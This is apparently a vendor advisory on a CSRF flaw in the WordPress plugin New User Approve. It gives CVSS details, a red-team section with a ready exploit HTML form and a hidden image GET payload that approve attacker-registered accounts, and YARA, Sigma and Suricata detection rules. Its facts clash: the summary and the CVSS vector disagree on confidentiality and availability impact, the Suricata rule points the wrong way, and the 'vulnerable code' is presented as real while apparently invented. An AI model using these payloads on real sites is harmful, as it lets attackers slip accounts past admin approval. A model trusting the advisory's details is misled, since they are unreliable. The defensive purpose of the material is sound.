CVE-2025-63030

Executive Summary

CVE-2025-63030 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the WordPress plugin "New User Approve" by Saad Iqbal. This flaw affects all versions up to and including 3.2.3. The vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as approving or denying user registrations, without the administrator's consent. The attack requires social engineering to trick the admin into clicking a malicious link or visiting a crafted page while authenticated to the WordPress admin panel. The CVSS score of 7.1 (High) reflects the potential for significant impact on integrity and availability, though confidentiality is not directly affected. No public exploit code or patch is currently available, making this a high-priority issue for WordPress site administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems. The supply chain risk is limited to the plugin's update mechanism; however, since no patch is available, administrators must rely on manual mitigation or disabling the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
• Attack Vector (AV): Network – The attack is executed over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): Required – The victim (admin) must click a link or visit a page.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Sensitive user data (e.g., registration details) could be exposed.
• Integrity (I): High – Attacker can modify user approval statuses.
• Availability (A): None – No direct impact on availability.

Threat Level: High. The attack is easy to execute with low complexity, and the impact on integrity and confidentiality is significant. The lack of a patch increases the risk.

Deep Dive & Mechanics

The vulnerability resides in the new-user-approve WordPress plugin, which manages user registration approvals. The plugin fails to implement CSRF tokens or other anti-CSRF mechanisms in its administrative actions (e.g., approving, denying, or deleting pending user registrations). An attacker can craft a malicious HTML page or email containing a forged request (e.g., a GET or POST request to wp-admin/admin-ajax.php or a custom admin page) that, when visited by an authenticated administrator, will execute the action without the admin's knowledge.

Attack Flow:

1. The attacker identifies a WordPress site using the vulnerable plugin.
2. The attacker creates a malicious link or form that submits a request to the plugin's admin endpoint (e.g., ?action=approve_user&user_id=123).
3. The attacker sends this link to an authenticated admin via email, social media, or a compromised site.
4. The admin, while logged into WordPress, clicks the link or submits the form.
5. The request is processed by the plugin, performing the attacker's desired action (e.g., approving a malicious user).

The vulnerability is classified under CWE-352: Cross-Site Request Forgery. The plugin does not validate the origin of the request, allowing attackers to forge requests that appear legitimate.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state of the plugin. A patched version would need to implement CSRF tokens using WordPress's built-in wp_nonce_field() and check_admin_referer() functions.

Vulnerable Code (Example from new-user-approve.php):

function approve_user() {
    $user_id = $_GET['user_id'];
    update_user_meta($user_id, 'wp_new_user_approve', 'approved');
    // No CSRF check
}

Patched Code (Hypothetical):

function approve_user() {
    if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'approve_user_' . $_GET['user_id'] ) ) {
        wp_die( 'Security check failed.' );
    }
    $user_id = intval( $_GET['user_id'] );
    update_user_meta($user_id, 'wp_new_user_approve', 'approved');
}

The patched version uses wp_verify_nonce() to ensure the request originated from the admin panel.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the "New User Approve" plugin (version <= 3.2.3) installed and activated.
• An authenticated admin session (the victim).
• A target user ID to approve (e.g., a malicious registration).

Exploit Steps:

1. Register a new user on the target WordPress site (e.g., username: attacker, email: attacker@example.com).
2. Note the user ID from the admin panel or via enumeration.
3. Craft a CSRF exploit HTML page:

<html>
<body>
<h1>Click the button to win a prize!</h1>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="approve_user">
    <input type="hidden" name="user_id" value="123">
    <input type="submit" value="Claim Prize">
</form>
</body>
</html>

4. Host the HTML page on a server the attacker controls.
5. Send the link to the admin (e.g., via email) and convince them to click the button while logged into WordPress.
6. The request is sent, and the malicious user is approved.

Alternative GET-based exploit (if plugin uses GET):

<img src="http://target-site.com/wp-admin/admin.php?page=new-user-approve&action=approve&user_id=123" style="display:none;">

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual spikes in user approval actions from the admin panel.
2. Check server logs for requests to admin-ajax.php or custom admin pages with parameters like action=approve_user or user_id.
3. Use the detection rules below to identify CSRF attempts.

Mitigation:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block requests to the plugin's admin endpoints without a valid nonce.
• Educate administrators about phishing attacks and the importance of not clicking suspicious links while logged in.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=approve_user or similar parameters.
  • Referer headers from external domains (e.g., attacker-controlled sites).
• File IOCs:
  • Modified user meta entries in the database (e.g., wp_new_user_approve set to approved for unauthorized users).
• Log IOCs:
  • Unusual user approval events in WordPress audit logs (if available).
  • Repeated failed login attempts followed by sudden approval of new users.

Detection Engineering

YARA Rule

rule Detect_CSRF_NewUserApprove {
    meta:
        description = "Detects CSRF attempts against New User Approve plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63030"
    strings:
        $csrf_param1 = "action=approve_user" nocase
        $csrf_param2 = "action=deny_user" nocase
        $csrf_param3 = "user_id=" nocase
        $wp_admin = "/wp-admin/" nocase
    condition:
        any of ($csrf_param*) and $wp_admin
}

Sigma Rule

title: CSRF Attempt Against New User Approve Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential CSRF attacks targeting the New User Approve WordPress plugin
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-63030
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: 
            - '/wp-admin/admin-ajax.php'
            - '/wp-admin/admin.php'
        cs-uri-query|contains: 
            - 'action=approve_user'
            - 'action=deny_user'
            - 'user_id='
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-63030 CSRF Attempt - New User Approve"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=approve_user"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the "New User Approve" plugin until a patched version is released.
2. Review user registrations – Manually audit all pending and approved users for suspicious accounts.
3. Implement CSRF protection – If you must keep the plugin, add a custom plugin or mu-plugin that enforces nonce checks on all admin actions.

Long-term Fix:

• Monitor the WordPress plugin repository for an update from the vendor.
• Apply the patch as soon as it becomes available.
• Consider using alternative user approval plugins that are actively maintained and have CSRF protection.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to the plugin's admin endpoints that lack a valid nonce.
• Restrict access to the WordPress admin panel via IP whitelisting or VPN.

Valters IT
Securing Digital Frontiers